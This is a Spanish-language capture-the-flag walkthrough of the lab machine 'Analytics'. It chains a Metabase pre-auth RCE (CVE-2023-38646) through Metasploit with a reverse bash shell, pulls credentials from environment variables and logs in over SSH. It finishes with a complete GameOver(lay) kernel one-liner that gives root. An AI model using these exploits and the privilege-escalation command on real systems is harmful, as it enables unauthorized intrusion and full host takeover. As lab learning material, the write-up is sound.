Analytics

nmap

nmap -sC -sV 10.10.11.233 Starting Nmap 7.94SVN (https://nmap.org) at 2024-03-04 15:17 CET Nmap scan report for analytical.htb (10.10.11.233) Host is up (0.23s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) I ssh-hostkey: 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) nginx 1.18.0 (Ubuntu) 80/tcp open http | http-title: Analytical Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 29.08 seconds vim/etc/hosts 10.10.11.250 analytical.htb #Si nos vamos a login, trata de conectar hacia data.analytical.htb, también podemos observer esto en el código funete de la página. #Añadimos el subdominio a /etc/hosts. vim/etc/hosts analytical.htb data.analytical.htb

10.10.11.250

#Podemos observar una página de login.

#Nos dice "Login to Metabase".

#Buscamos algun exploit de Matabase.

https://github.com/m3m0o/metabase-pre-auth-rce-poc.git

#Interceptamos la cookie de login con unas credenciales cualquiera.

GET /api/user/current HTTP/1.1 Host: data.analytical.htb

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json

DNT: 1

Connection: close

Referer: http://data.analytical.htb/auth/login?redirect=%2F

Cookie: metabase.DEVICE=07a30d80-8194-42c5-a021-41361b730168

CVE-2023-38646 #Nuscamos referencias sobre este RCE, para ver si hay algún RCE https://www.assetnote.io/resources/research/chaining-our-way-to-pre-auth-rce-in-metabase-cve-2023-38646? source=post_page-----8cf81fa970ca-----#No usaremos el script. #Usaremos msfconsole. msfconsole Metasploit tip: Use the resource command to run commands from a file | METASPLOIT by Rapid7 -----+ 1 | EXPLOIT \)=\ ١. // \\ 11__ // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ | // \\ | ************* o O o | \'\\\\'\ 0 O |)=====(0 | .' LOOT '. | ^^^^^^ 1 / PAYLOAD |""__, | / (_||_ \ | __|_|)__| | | |(@)(@)"""**|(@)(@)**|(@) | " Ш |========| '-------' +----+ =[metasploit v6.3.43-dev + -- --=[2376 exploits - 1232 auxiliary - 416 post] + -- --=[1391 payloads - 46 encoders - 11 nops + -- --=[9 evasion Metasploit Documentation: https://docs.metasploit.com/ msf6 > search metabase Matching Modules ______ # Name Disclosure Date Rank Check Description -----0 exploit/linux/http/metabase_setup_token_rce 2023-07-22 excellent Yes Metabase Setup Token RCE Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/metabase setup token rce msf6 > use 0[*] Using configured payload cmd/unix/reverse_bash msf6 exploit(linux/http/metabase_setup_token_rce) > use exploit/linux/http/metabase_setup_token_rce [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(linux/http/metabase_setup_token_rce) > set RHOST data.analytical.htb RHOST => data.analytical.htb msf6 exploit(linux/http/metabase_setup_token_rce) > set LHOST 10.10.16.57

LHOST => 10.10.16.57

msf6 exploit(linux/http/metabase_setup_token_rce) > set RPORT 80

RPORT => 80

msf6 exploit(linux/http/metabase setup token rce) > run

- [-] Handler failed to bind to 10.10.11.233:4444:- -
- [*] Started reverse TCP handler on 0.0.0.0:4444
- [*] Running automatic check ("set AutoCheck false" to disable)
- [+] The target appears to be vulnerable. Version Detected: 0.46.6
- [+] Found setup token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
- [*] Sending exploit (may take a few seconds)
- [*] Exploit completed, but no session was created.

msf6 exploit(linux/http/metabase_setup_token_rce) > env msf6 exploit(linux/http/metabase_setup_token_rce) > run

- [*] Started reverse TCP handler on 10.10.16.84:4444
- [*] Running automatic check ("set AutoCheck false" to disable)
- [+] The target appears to be vulnerable. Version Detected: 0.46.6
- [+] Found setup token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
- [*] Sending exploit (may take a few seconds)
- [*] Command shell session 1 opened (10.10.16.84:4444 -> 10.10.11.233:46552) at 2024-03-07 20:04:18 +0100

whoami metabase

env

MB LDAP BIND DN= LANGUAGE=en US:en USER=metabase HOSTNAME=207bcb000024 FC LANG=en-US $SH\overline{I}VI = 5$ LD LIBRARY PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib HOME=/home/metabase MB_EMAIL_SMTP_PASSWORD= LC_CTYPE=en_US.UTF-8 JAVA VERSION=jdk-11.0.19+7 LOGNAME=metabase =/bin/sh MB_DB_CONNECTION_URI= PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin MB DB PASS= MB_JETTY HOST=0.0.0.0 META_PASS=An4lytics_ds20223# LANG=en_US.UTF-8 MB_LDAP_PASSWORD= SHELL=/bin/sh MB_EMAIL_SMTP_USERNAME= MB DB USER= META_USER=metalytics LC_ALL=en_US.UTF-8 JAVA_HOME=/opt/java/openjdk PWD=

#Tenemos credenciales
META_USER=metalytics
META_PASS=An4lytics_ds20223#

MB_DB_FILE=//metabase.db/metabase.db

cat creeds.txt

metalytics:An4lytics_ds20223#

ssh metalytics@10.10.11.233

The authenticity of host '10.10.11.233 (10.10.11.233)' can't be established.

ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.11.233' (ED25519) to the list of known hosts.

metalytics@10.10.11.233's password:

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage

System information as of Thu Mar 7 07:08:47 PM UTC 2024

System load: 0.02490234375 Processes: 163
Usage of /: 97.7% of 7.78GB Users logged in: 0

Memory usage: 34% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for eth0: 10.10.11.233

=> / is using 97.7% of 7.78GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Mar 7 16:12:16 2024 from 10.10.14.112

metalytics@analytics:~\$ whoami

metalytics

priv_escalation

#El usuario, no tiene permisos para ejeutar comandos como administrador.

metalytics@analytics:~\$ sudo -l

[sudo] password for metalytics:

Sorry, user metalytics may not run sudo on localhost.

#Vemos la versión del host.

metalytics@analytics:~\$ uname -a

Linux analytics 6.2.0-25-generic $\#25\sim22.04.2$ -Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 $\times86_64\times86_64\times86_64$ ULU Linux

#Había una vulnerabilidad privada relacionada con el kernel de Ubuntu descubierta muy recientemente, así que simplemente decidí probarla. Nuevo exploit de contenedor: rooteo de contenedores no root con CVE-2023-2640 y CVE-2023-32629, también conocido como GameOver(lay)

https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/

metalytics@analytics:~\$ unshare -rm sh -c 'mkdir I u w m && cp /u*/b*/p*3 I/; setcap cap_setuid+eip I/python3;mount -t overlay overlay -o rw,lowerdir=I,upperdir=u,workdir=w, m && touch m/*;' && u/python3 -c 'import pty;import os;os.setuid(0);pty.spawn("/bin/bash")' root@analytics:~# whoami root